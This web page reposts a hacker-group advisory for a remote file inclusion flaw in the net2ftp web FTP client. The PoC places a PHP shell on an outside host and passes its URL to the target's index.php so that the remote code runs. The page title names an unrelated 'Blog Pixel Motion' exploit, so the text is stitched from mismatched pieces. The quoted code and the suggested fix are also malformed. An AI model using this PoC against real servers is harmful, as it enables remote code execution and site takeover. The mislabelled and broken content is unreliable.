Blog Pixel Motion V2.1.1 PHP Code Execution / Create Admin Exploit

+--------------------------------------------------------------------
+
+ net2ftp: a web based FTP client :)  <= Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: net2ftp: a web based FTP client
+ Venedor ...........: http://www.net2ftp.com
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: rUnViRuS
+ Original advisory .: http://www.wdzone.net/ http://www.worlddefacers.de/
+ Contact ...........: stormhacker[at]hotmail[.]com
+
+--------------------------------------------------------------------
+
+ Code index.php:
+
+ .....
+ equire_once($application_rootdir . "/includes/authorizations.inc.php");
+ require_once($application_rootdir . "/includes/bookmark.inc.php");
+ require_once($application_rootdir . "/includes/browse.inc.php");
+ require_once($application_rootdir . "/includes/database.inc.php");
+ .....
+
+--------------------------------------------------------------------
+
+ $application_rootdir is not properly sanitized before being used.
+ The bug is in the "net2ftp" Package for net2ftp.
+
+--------------------------------------------------------------------
+
+ Solution:
+ Add this line to your php-file:
+
+ $application_rootdir ="user/dir" //Your root path
+
+--------------------------------------------------------------------
+ PoC:
+ Place a PHPShell on a remote location:
+ http://wdzone.net/sh.txt?
+
+
http://[target]/index.php?application_rootdir=http://phpshell
+
+--------------------------------------------------------------------
+ [W]orld [D]efacers [T]eam
+ Greets:
+ || rUnViRuS || - || papipsycho || - || HeX || - || Linux Master || BlackWHITE ||
+ || Pro Hacker ||
+
+-------------------------[ W D T ]----------------------------------

Comentarios

Enviar un comentario nuevo

  • Saltos automáticos de líneas y de párrafos.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <img> <p> <br>
  • You may post code using <code>...</code> (generic) or <?php ... ?> (highlighted PHP) tags.

Más información sobre opciones de formato

CAPTCHA
This question is for testing whether you are a human visitor and to prevent automated spam submissions.
Image CAPTCHA
Copy the characters (respecting upper/lower case) from the image.